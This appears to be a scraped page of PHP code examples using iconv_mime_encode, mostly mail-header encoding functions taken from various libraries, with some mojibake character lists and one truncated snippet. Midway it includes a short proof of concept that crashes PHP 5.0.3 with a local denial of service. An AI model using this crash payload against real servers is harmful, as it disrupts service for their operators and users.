PHP iconv_mime_encode函数代码示例

function _format_headers($headers)
{
    $preferences = array('input-charset' => 'utf-8', 'output-charset' => 'UTF-8', 'line-length' => 76, 'line-break-chars' => "\n", 'scheme' => 'Q');
    return \implode("\r\n", \array_map(function ($k, $v) {
        return \iconv_mime_encode($k, $v, $preferences);
    }, \array_keys($headers), $headers));
}

 /**
  * @covers Symfony\Polyfill\Iconv\Iconv::iconv_mime_encode
  */
 public function testIconvMimeEncode()
 {
     if (defined('HHVM_VERSION')) {
         $this->markTestSkipped('HHVM incompatible.');
     }
     $text = "テストテスト";
     $options = array('scheme' => 'Q', 'input-charset' => 'UTF-8', 'output-charset' => 'UTF-8', 'line-length' => 30);
     $this->assertSame("Subject: =?UTF-8?Q?=E3=83=86?=\r\n =?UTF-8?Q?=E3=82=B9?=\r\n =?UTF-8?Q?=E3=83=88?=\r\n =?UTF-8?Q?=E3=83=86?=\r\n =?UTF-8?Q?=E3=82=B9?=\r\n =?UTF-8?Q?=E3=83=88?=", iconv_mime_encode('Subject', $text, $options));
 }

 /**
  * return the vacation Sieve code
  * 
  * @return string
  */
 public function __toString()
 {
     $days = ":days {$this->_days} ";
     $from = !empty($this->_from) ? ":from {$this->_quoteString($this->_from)} " : null;
     $addresses = count($this->_addresses) > 0 ? ":addresses {$this->_quoteString($this->_addresses)} " : null;
     if (!empty($this->_subject)) {
         $subject = iconv_mime_encode(null, $this->_subject, array('scheme' => 'Q', 'line-length' => 500));
         $subject = ':subject ' . $this->_quoteString(substr($subject, 2)) . ' ';
     } else {
         $subject = null;
     }
     $reason = $this->_reason;
     $plaintextReason = $this->_getPlaintext($reason);
     if (!empty($this->_mime)) {
         $mime = ':mime ';
         $contentType = 'Content-Type: ' . $this->_mime;
         if ($this->_mime == self::MIME_TYPE_MULTIPART_ALTERNATIVE) {
             // @todo use Zend_Mime ?
             $contentType .= "; boundary=foo\r\n\r\n";
             $reason = sprintf("--foo\r\nContent-Type: text/plain; charset=UTF-8\r\n\r\n%s\r\n\r\n" . "--foo\r\nContent-Type: text/html; charset=UTF-8\r\n\r\n%s\r\n\r\n" . "--foo--", $plaintextReason, $reason);
         } else {
             $contentType .= "; charset=UTF-8\r\n\r\n";
         }
         if ($this->_mime == self::MIME_TYPE_TEXT_PLAIN) {
             $reason = $plaintextReason;
         }
     } else {
         $mime = null;
         $contentType = null;
         $reason = $plaintextReason;
     }
     $vacation = sprintf("vacation %s%s%s%s%stext:\r\n%s%s\r\n.\r\n;", $days, $subject, $from, $addresses, $mime, $contentType, $reason);
     if ($this->useDates()) {
         $conditions = array();
         if ($this->_enddate !== NULL) {
             $conditions[] = 'currentdate :value "le" "date" "' . $this->_enddate . '"';
         }
         if ($this->_startdate !== NULL) {
             $conditions[] = 'currentdate :value "ge" "date" "' . $this->_startdate . '"';
         }
         if (count($conditions) > 0) {
             $vacation = 'if allof(' . implode(",\r\n", $conditions) . ")\r\n{" . $vacation . "}\r\n";
         }
     }
     return $vacation;
 }

 /**
  * Returns ezcMailAddress $item as a RFC822 compliant address string.
  *
  * Example:
  * <code>
  * composeEmailAddress( new ezcMailAddress( 'sender@example.com', 'John Doe' ) );
  * </code>
  *
  * Returns:
  * <pre>
  * John Doe <sender@example.com>
  * </pre>
  *
  * The name part of $item will be surrounded by quotes if it contains any of
  * these characters: , @ < > : ; ' "
  *
  * @param ezcMailAddress $item
  * @return string
  */
 public static function composeEmailAddress(ezcMailAddress $item)
 {
     $name = trim($item->name);
     if ($name !== '') {
         // remove the quotes around the name part if they are already there
         if ($name[0] === '"' && $name[strlen($name) - 1] === '"') {
             $name = substr($name, 1, -1);
         }
         // add slashes to " and \ and surround the name part with quotes
         if (strpbrk($name, ",@<>:;'\"") !== false) {
             $name = str_replace('\\', '\\\\', $name);
             $name = str_replace('"', '\\"', $name);
             $name = "\"{$name}\"";
         }
         switch (strtolower($item->charset)) {
             case 'us-ascii':
                 $text = $name . ' <' . $item->email . '>';
                 break;
             case 'iso-8859-1':
             case 'iso-8859-2':
             case 'iso-8859-3':
             case 'iso-8859-4':
             case 'iso-8859-5':
             case 'iso-8859-6':
             case 'iso-8859-7':
             case 'iso-8859-8':
             case 'iso-8859-9':
             case 'iso-8859-10':
             case 'iso-8859-11':
             case 'iso-8859-12':
             case 'iso-8859-13':
             case 'iso-8859-14':
             case 'iso-8859-15':
             case 'iso-8859-16':
             case 'windows-1250':
             case 'windows-1251':
             case 'windows-1252':
             case 'utf-8':
                 if (strpbrk($name, "€�‚ƒ„…†‡�‰�‹�����‘’“”•–—�™�›���� ΅Ά£¤¥¦§¨©�«¬­®―°±²³΄µ¶·ΈΉΊ»Ό½ΎΏΐΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡ�ΣΤΥΦΧΨΩΪΫάέήίΰαβγδεζηθικλμνξοπρςστυφχψωϊϋόύώ�") === false) {
                     $text = $name . ' <' . $item->email . '>';
                     break;
                 }
                 // break intentionally missing
             // break intentionally missing
             default:
                 $preferences = array('input-charset' => $item->charset, 'output-charset' => $item->charset, 'scheme' => 'Q', 'line-break-chars' => ezcMailTools::lineBreak());
                 $name = iconv_mime_encode('dummy', $name, $preferences);
                 $name = substr($name, 7);
                 // "dummy: " + 1
                 $text = $name . ' <' . $item->email . '>';
                 break;
         }
     } else {
         $text = $item->email;
     }
     return $text;
 }

 /**
  * Prep Q Encoding
  *
  * Performs "Q Encoding" on a string for use in email headers.
  * It's related but not identical to quoted-printable, so it has its
  * own method.
  *
  * @param	string
  * @return	string
  */
 protected function _prep_q_encoding($str)
 {
     $str = str_replace(array("\r", "\n"), '', $str);
     if ($this->charset === 'UTF-8') {
         if (MB_ENABLED === TRUE) {
             return mb_encode_mimeheader($str, $this->charset, 'Q', $this->crlf);
         } elseif (ICONV_ENABLED === TRUE) {
             $output = @iconv_mime_encode('', $str, array('scheme' => 'Q', 'line-length' => 76, 'input-charset' => $this->charset, 'output-charset' => $this->charset, 'line-break-chars' => $this->crlf));
             // There are reports that iconv_mime_encode() might fail and return FALSE
             if ($output !== FALSE) {
                 // iconv_mime_encode() will always put a header field name.
                 // We've passed it an empty one, but it still prepends our
                 // encoded string with ': ', so we need to strip it.
                 return substr($output, 2);
             }
             $chars = iconv_strlen($str, 'UTF-8');
         }
     }
     // We might already have this set for UTF-8
     isset($chars) or $chars = strlen($str);
     $output = '=?' . $this->charset . '?Q?';
     for ($i = 0, $length = strlen($output); $i < $chars; $i++) {
         $chr = $this->charset === 'UTF-8' && ICONV_ENABLED === TRUE ? '=' . implode('=', str_split(strtoupper(bin2hex(iconv_substr($str, $i, 1, $this->charset))), 2)) : '=' . strtoupper(bin2hex($str[$i]));
         // RFC 2045 sets a limit of 76 characters per line.
         // We'll append ?= to the end of each line though.
         if ($length + ($l = strlen($chr)) > 74) {
             $output .= '?=' . $this->crlf . ' =?' . $this->charset . '?Q?' . $chr;
             // New line
             $length = 6 + strlen($this->charset) + $l;
             // Reset the length for the new line
         } else {
             $output .= $chr;
             $length += $l;
         }
     }
     // End the header
     return $output . '?=';
 }

 private function getFormatedMimeHeadder($value)
 {
     $preferences = array("input-charset" => $this->getCharset(), "output-charset" => "UTF-8", "line-break-chars" => PHP_EOL, "scheme" => 'Q');
     $formated_header = substr(iconv_mime_encode("", $value, $preferences), 2);
     return $formated_header;
 }

iconv_mime_encode()
<?php 
// ==================================================================================
//
// PHP 5.0.3 iconv_mime_encode() Local Denial of Service
//
// Tested on WIN XP, Apache, PHP 5.0.3. Local Denial of Service.
//
// Local Denial of Service
// Author: Pr0T3cT10n <pr0t3ct10n@gmail.com<mailto:pr0t3ct10n@gmail.com>>
// http://www.nullbyte.org.il
//
// ==================================================================================
$buff = str_repeat("A", 9999);
iconv_mime_encode($buff, 1);
?>

imageftbbox()
<?php 
// ==================================================================================
//
// PHP 5.0.3 imageftbbox() Local Denial of Service
//
// Tested on WIN XP, Apache, PHP 5.0.3. Local Denial of Service.
//
// Local Denial of Service
// Author: Pr0T3cT10n <pr0t3ct10n@gmail.com<mailto:pr0t3ct10n@gmail.com>>
// http://www.nullbyte.org.il
//
// ==================================================================================

 /**
  * Encodes a header as per RFC2047
  *
  * @param array $input  The header data to encode
  * @param array $params Extra build parameters
  *
  * @return array Encoded data
  * @access private
  */
 function _encodeHeaders($input, $params = array())
 {
     $build_params = $this->_build_params;
     while (list($key, $value) = each($params)) {
         $build_params[$key] = $value;
     }
     //$hdr_name: Name of the heaer
     //$hdr_value: Full line of header value.
     //$hdr_value_out: The recombined $hdr_val-atoms, or the encoded string.
     $useIconv = true;
     if (isset($build_params['ignore-iconv'])) {
         $useIconv = !$build_params['ignore-iconv'];
     }
     foreach ($input as $hdr_name => $hdr_value) {
         if (preg_match('#([\\x80-\\xFF]){1}#', $hdr_value)) {
             if (function_exists('iconv_mime_encode') && $useIconv) {
                 $imePrefs = array();
                 if ($build_params['head_encoding'] == 'base64') {
                     $imePrefs['scheme'] = 'B';
                 } else {
                     $imePrefs['scheme'] = 'Q';
                 }
                 $imePrefs['input-charset'] = $build_params['head_charset'];
                 $imePrefs['output-charset'] = $build_params['head_charset'];
                 $imePrefs['line-length'] = 74;
                 $imePrefs['line-break-chars'] = "\r\n";
                 //Specified in RFC2047
                 $hdr_value = iconv_mime_encode($hdr_name, $hdr_value, $imePrefs);
                 $hdr_value = preg_replace("#^{$hdr_name}\\:\\ #", "", $hdr_value);
             } elseif ($build_params['head_encoding'] == 'base64') {
                 //Base64 encoding has been selected.
                 //Base64 encode the entire string
                 $hdr_value = base64_encode($hdr_value);
                 //Generate the header using the specified params and dynamicly
                 //determine the maximum length of such strings.
                 //75 is the value specified in the RFC. The first -2 is there so
                 //the later regexp doesn't break any of the translated chars.
                 //The -2 on the first line-regexp is to compensate for the ": "
                 //between the header-name and the header value
                 $prefix = '=?' . $build_params['head_charset'] . '?B?';
                 $suffix = '?=';
                 $maxLength = 75 - strlen($prefix . $suffix) - 2;
                 $maxLength1stLine = $maxLength - strlen($hdr_name) - 2;
                 //We can cut base4 every 4 characters, so the real max
                 //we can get must be rounded down.
                 $maxLength = $maxLength - $maxLength % 4;
                 $maxLength1stLine = $maxLength1stLine - $maxLength1stLine % 4;
                 $cutpoint = $maxLength1stLine;
                 $hdr_value_out = $hdr_value;
                 $output = "";
                 while ($hdr_value_out) {
                     //Split translated string at every $maxLength
                     $part = substr($hdr_value_out, 0, $cutpoint);
                     $hdr_value_out = substr($hdr_value_out, $cutpoint);
                     $cutpoint = $maxLength;
                     //RFC 2047 specifies that any split header should
                     //be seperated by a CRLF SPACE.
                     if ($output) {
                         $output .= "\r\n ";
                     }
                     $output .= $prefix . $part . $suffix;
                 }
                 $hdr_value = $output;
             } else {
                 //quoted-printable encoding has been selected
                 //Fix for Bug #10298, Ota Mares <om@viazenetti.de>
                 //Check if there is a double quote at beginning or end of
                 //the string to prevent that an open or closing quote gets
                 //ignored because it is encapsuled by an encoding pre/suffix.
                 //Remove the double quote and set the specific prefix or
                 //suffix variable so that we can concat the encoded string and
                 //the double quotes back together to get the intended string.
                 $quotePrefix = $quoteSuffix = '';
                 if ($hdr_value[0] == '"') {
                     $hdr_value = substr($hdr_value, 1);
                     $quotePrefix = '"';
                 }
                 if ($hdr_value[strlen($hdr_value) - 1] == '"') {
                     $hdr_value = substr($hdr_value, 0, -1);
                     $quoteSuffix = '"';
                 }
                 //Generate the header using the specified params and dynamicly
                 //determine the maximum length of such strings.
                 //75 is the value specified in the RFC. The -2 is there so
                 //the later regexp doesn't break any of the translated chars.
                 //The -2 on the first line-regexp is to compensate for the ": "
                 //between the header-name and the header value
                 $prefix = '=?' . $build_params['head_charset'] . '?Q?';
                 $suffix = '?=';
                 $maxLength = 75 - strlen($prefix . $suffix) - 2 - 1;
                 $maxLength1stLine = $maxLength - strlen($hdr_name) - 2;
//.........这里部分代码省略.........

/**
* Encode a string such that it can be used in an email header
*
* @param    string  $string     the text to be encoded
* @return   string              encoded text
*
*/
function COM_emailEscape($string)
{
    global $_CONF;
    if (function_exists('CUSTOM_emailEscape')) {
        return CUSTOM_emailEscape($string);
    }
    $charset = COM_getCharset();
    if ($charset == 'utf-8' && $string != utf8_decode($string)) {
        if (function_exists('iconv_mime_encode')) {
            $mime_parameters = array('input-charset' => 'utf-8', 'output-charset' => 'utf-8', 'scheme' => 'Q');
            $string = substr(iconv_mime_encode('', $string, $mime_parameters), 2);
        } else {
            $string = '=?' . $charset . '?B?' . base64_encode($string) . '?=';
        }
    } else {
        if (preg_match('/[^0-9a-z\\-\\.,:;\\?! ]/i', $string)) {
            $string = '=?' . $charset . '?B?' . base64_encode($string) . '?=';
        }
    }
    return $string;
}

 /**
  * Encodes a header as per RFC2047
  *
  * @param  array $input The header data to encode
  * @return array Encoded data
  * @access private
  */
 function _encodeHeaders($input)
 {
     foreach ($input as $hdr_name => $hdr_value) {
         if (function_exists('iconv_mime_encode') && preg_match('#[\\x80-\\xFF]{1}#', $hdr_value)) {
             $imePref = array();
             if ($this->_build_params['head_encoding'] == 'base64') {
                 $imePrefs['scheme'] = 'B';
             } else {
                 $imePrefs['scheme'] = 'Q';
             }
             $imePrefs['input-charset'] = $this->_build_params['head_charset'];
             $imePrefs['output-charset'] = $this->_build_params['head_charset'];
             $hdr_value = iconv_mime_encode($hdr_name, $hdr_value, $imePrefs);
             $hdr_value = preg_replace("#^{$hdr_name}\\:\\ #", "", $hdr_value);
         } elseif (preg_match('#[\\x80-\\xFF]{1}#', $hdr_value)) {
             //This header contains non ASCII chars and should be encoded.
             switch ($this->_build_params['head_encoding']) {
                 case 'base64':
                     //Base64 encoding has been selected.
                     //Generate the header using the specified params and dynamicly
                     //determine the maximum length of such strings.
                     //75 is the value specified in the RFC. The -2 is there so
                     //the later regexp doesn't break any of the translated chars.
                     $prefix = '=?' . $this->_build_params['head_charset'] . '?B?';
                     $suffix = '?=';
                     $maxLength = 75 - strlen($prefix . $suffix) - 2;
                     $maxLength1stLine = $maxLength - strlen($hdr_name);
                     //Base64 encode the entire string
                     $hdr_value = base64_encode($hdr_value);
                     //This regexp will break base64-encoded text at every
                     //$maxLength but will not break any encoded letters.
                     $reg1st = "|.{0,{$maxLength1stLine}}[^\\=][^\\=]|";
                     $reg2nd = "|.{0,{$maxLength}}[^\\=][^\\=]|";
                     break;
                 case 'quoted-printable':
                 default:
                     //quoted-printable encoding has been selected
                     //Generate the header using the specified params and dynamicly
                     //determine the maximum length of such strings.
                     //75 is the value specified in the RFC. The -2 is there so
                     //the later regexp doesn't break any of the translated chars.
                     $prefix = '=?' . $this->_build_params['head_charset'] . '?Q?';
                     $suffix = '?=';
                     $maxLength = 75 - strlen($prefix . $suffix) - 2;
                     $maxLength1stLine = $maxLength - strlen($hdr_name);
                     //Replace all special characters used by the encoder.
                     $search = array("=", "_", "?", " ");
                     $replace = array("=3D", "=5F", "=3F", "_");
                     $hdr_value = str_replace($search, $replace, $hdr_value);
                     //Replace all extended characters (\x80-xFF) with their
                     //ASCII values.
                     $hdr_value = preg_replace('#([\\x80-\\xFF])#e', '"=" . strtoupper(dechex(ord("\\1")))', $hdr_value);
                     //This regexp will break QP-encoded text at every $maxLength
                     //but will not break any encoded letters.
                     $reg1st = "|(.{0,{$maxLength}})[^\\=]|";
                     $reg2nd = "|(.{0,{$maxLength}})[^\\=]|";
                     break;
             }
             //Begin with the regexp for the first line.
             $reg = $reg1st;
             $output = "";
             while ($hdr_value) {
                 //Split translated string at every $maxLength
                 //But make sure not to break any translated chars.
                 $found = preg_match($reg, $hdr_value, $matches);
                 //After this first line, we need to use a different
                 //regexp for the first line.
                 $reg = $reg2nd;
                 //Save the found part and encapsulate it in the
                 //prefix & suffix. Then remove the part from the
                 //$hdr_value variable.
                 if ($found) {
                     $part = $matches[0];
                     $hdr_value = substr($hdr_value, strlen($matches[0]));
                 } else {
                     $part = $hdr_value;
                     $hdr_value = "";
                 }
                 //RFC 2047 specifies that any split header should be seperated
                 //by a CRLF SPACE.
                 if ($output) {
                     $output .= "\r\n ";
                 }
                 $output .= $prefix . $part . $suffix;
             }
             $hdr_value = $output;
         }
         $input[$hdr_name] = $hdr_value;
     }
     return $input;
 }

/**
 * 信息编码 
 * 
 * @param string $str 待编码的字符
 * @return string
 */
function encode_msg($str)
{
    $preferences = array('input-charset' => 'UTF-8', 'output-charset' => 'GBK', 'scheme' => 'B');
    return substr(@iconv_mime_encode('', $str, $preferences), 2);
}

#!/usr/bin/env php
<?php 
$value = $argv[1];
$charset = isset($argv[2]) ? $argv[2] : 'UTF-8';
$scheme = isset($argv[3]) ? $argv[3] : 'B';
if (!mb_check_encoding($argv[1], 'UTF-8')) {
    $value = mb_convert_encoding($value, 'UTF-8');
}
$encoded = mb_substr(iconv_mime_encode('', $value, ['input-charset' => 'UTF-8', 'output-charset' => $charset, 'scheme' => $scheme]), 2);
echo "Encoded: {$encoded}\n";
$decoded = iconv_mime_decode($encoded, 0, 'UTF-8');
echo "{$decoded} ", $decoded == $argv[1] ? 'equal' : 'not equal', "\n\n";
exit;

<?php

var_dump(iconv_mime_encode('', ''));
var_dump(iconv_mime_encode('', '', array('line-break-chars' => 1)));

 /**
  * Encode into a quoted printable encoded string.
  *
  * @author Elan Ruusamäe <glen@delfi.ee>
  * @see    Zend_Mime::_encodeQuotedPrintable
  * @param   string $string The string in APP_CHARSET encoding
  * @return  string encoded string
  */
 public static function encodeQuotedPrintable($string)
 {
     if (function_exists('iconv_mime_encode')) {
         // avoid any wrapping by specifying line length long enough
         // "test" -> 4
         // ": =?ISO-8859-1?B?dGVzdA==?=" -> 27
         // 3 +2 +10      +3 +7     + 3
         $line_length = strlen($string) * 4 + strlen(APP_CHARSET) + 11;
         $params = array('input-charset' => APP_CHARSET, 'output-charset' => APP_CHARSET, 'line-length' => $line_length);
         $string = iconv_mime_encode('', $string, $params);
         return substr($string, 2);
     }
     // lookup-Tables for QuotedPrintable
     $qpKeys = array("", "", "", "", "", "", "", "", "", "\t", "\n", "\v", "\f", "\r", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�");
     $qpReplaceValues = array('=00', '=01', '=02', '=03', '=04', '=05', '=06', '=07', '=08', '=09', '=0A', '=0B', '=0C', '=0D', '=0E', '=0F', '=10', '=11', '=12', '=13', '=14', '=15', '=16', '=17', '=18', '=19', '=1A', '=1B', '=1C', '=1D', '=1E', '=1F', '=7F', '=80', '=81', '=82', '=83', '=84', '=85', '=86', '=87', '=88', '=89', '=8A', '=8B', '=8C', '=8D', '=8E', '=8F', '=90', '=91', '=92', '=93', '=94', '=95', '=96', '=97', '=98', '=99', '=9A', '=9B', '=9C', '=9D', '=9E', '=9F', '=A0', '=A1', '=A2', '=A3', '=A4', '=A5', '=A6', '=A7', '=A8', '=A9', '=AA', '=AB', '=AC', '=AD', '=AE', '=AF', '=B0', '=B1', '=B2', '=B3', '=B4', '=B5', '=B6', '=B7', '=B8', '=B9', '=BA', '=BB', '=BC', '=BD', '=BE', '=BF', '=C0', '=C1', '=C2', '=C3', '=C4', '=C5', '=C6', '=C7', '=C8', '=C9', '=CA', '=CB', '=CC', '=CD', '=CE', '=CF', '=D0', '=D1', '=D2', '=D3', '=D4', '=D5', '=D6', '=D7', '=D8', '=D9', '=DA', '=DB', '=DC', '=DD', '=DE', '=DF', '=E0', '=E1', '=E2', '=E3', '=E4', '=E5', '=E6', '=E7', '=E8', '=E9', '=EA', '=EB', '=EC', '=ED', '=EE', '=EF', '=F0', '=F1', '=F2', '=F3', '=F4', '=F5', '=F6', '=F7', '=F8', '=F9', '=FA', '=FB', '=FC', '=FD', '=FE', '=FF');
     $string = str_replace('=', '=3D', $string);
     $string = str_replace($qpKeys, $qpReplaceValues, $string);
     return rtrim($string);
 }

    /**
     * Returns ezcMailAddress $item as a RFC822 compliant address string.
     *
     * Example:
     * <code>
     * composeEmailAddress( new ezcMailAddress( 'sender@example.com', 'John Doe' ) );
     * </code>
     *
     * Returns:
     * <pre>
     * John Doe <sender@example.com>
     * </pre>
     *
     * The name part of $item will be surrounded by quotes if it contains any of
     * these characters: , @ < > : ; ' "
     *
     * @param ezcMailAddress $item
     * @return string
     */
    public static function composeEmailAddress( ezcMailAddress $item )
    {
        $name = trim( $item->name );
        if ( $name !== '' )
        {
            // remove the quotes around the name part if they are already there
            if ( $name{0} === '"' && $name{strlen( $name ) - 1} === '"' )
            {
                $name = substr( $name, 1, -1 );
            }

            // add slashes to " and \ and surround the name part with quotes
            if ( strpbrk( $name, ",@<>:;'\"" ) !== false )
            {
                $name = str_replace( '\\', '\\\\', $name );
                $name = str_replace( '"', '\"', $name );
                $name = "\"{$name}\"";
            }

            switch ( strtolower( $item->charset ) )
            {
                case 'us-ascii':
                    $text = $name . ' <' . $item->email . '>';
                    break;

                case 'iso-8859-1': case 'iso-8859-2': case 'iso-8859-3': case 'iso-8859-4':
                case 'iso-8859-5': case 'iso-8859-6': case 'iso-8859-7': case 'iso-8859-8':
                case 'iso-8859-9': case 'iso-8859-10': case 'iso-8859-11': case 'iso-8859-12':
                case 'iso-8859-13': case 'iso-8859-14': case 'iso-8859-15' :case 'iso-8859-16':
                case 'windows-1250': case 'windows-1251': case 'windows-1252':
                case 'utf-8':
                    if ( strpbrk( $name, "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) === false )
                    {
                        $text = $name . ' <' . $item->email . '>';
                        break;
                    }
                    // break intentionally missing

                default:
                    $preferences = array(
                        'input-charset' => $item->charset,
                        'output-charset' => $item->charset,
                        'scheme' => 'Q',
                        'line-break-chars' => ezcMailTools::lineBreak()
                    );
                    $name = iconv_mime_encode( 'dummy', $name, $preferences );
                    $name = substr( $name, 7 ); // "dummy: " + 1
                    $text = $name . ' <' . $item->email . '>';
                    break;
            }
        }
        else
        {
            $text = $item->email;
        }
        return $text;
    }